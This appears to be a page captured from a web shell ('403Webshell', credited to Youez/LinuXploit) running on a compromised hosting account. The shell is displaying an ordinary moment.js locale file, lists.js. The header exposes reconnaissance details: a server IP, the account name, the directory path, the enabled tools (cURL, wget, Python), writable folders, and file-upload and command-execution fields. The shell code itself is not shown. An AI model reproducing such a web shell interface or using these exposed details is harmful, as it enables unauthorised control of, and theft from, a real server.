403Webshell
Server IP : 162.0.232.140  /  Your IP : 18.117.101.130
Web Server : LiteSpeed
System : Linux premium139.web-hosting.com 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : micrcvoy ( 740)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/micrcvoy/microleess-uae.store/controlPanel/assets/plugins/moment/src/lib/locale/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/micrcvoy/microleess-uae.store/controlPanel/assets/plugins/moment/src/lib/locale/lists.js
import { getLocale } from './locales';
import { createUTC } from '../create/utc';

function get (format, index, field, setter) {
    var locale = getLocale();
    var utc = createUTC().set(setter, index);
    return locale[field](utc, format);
}

function list (format, index, field, count, setter) {
    if (typeof format === 'number') {
        index = format;
        format = undefined;
    }

    format = format || '';

    if (index != null) {
        return get(format, index, field, setter);
    }

    var i;
    var out = [];
    for (i = 0; i < count; i++) {
        out[i] = get(format, i, field, setter);
    }
    return out;
}

export function listMonths (format, index) {
    return list(format, index, 'months', 12, 'month');
}

export function listMonthsShort (format, index) {
    return list(format, index, 'monthsShort', 12, 'month');
}

export function listWeekdays (format, index) {
    return list(format, index, 'weekdays', 7, 'day');
}

export function listWeekdaysShort (format, index) {
    return list(format, index, 'weekdaysShort', 7, 'day');
}

export function listWeekdaysMin (format, index) {
    return list(format, index, 'weekdaysMin', 7, 'day');
}

Youez - 2016 - github.com/yon3zu
LinuXploit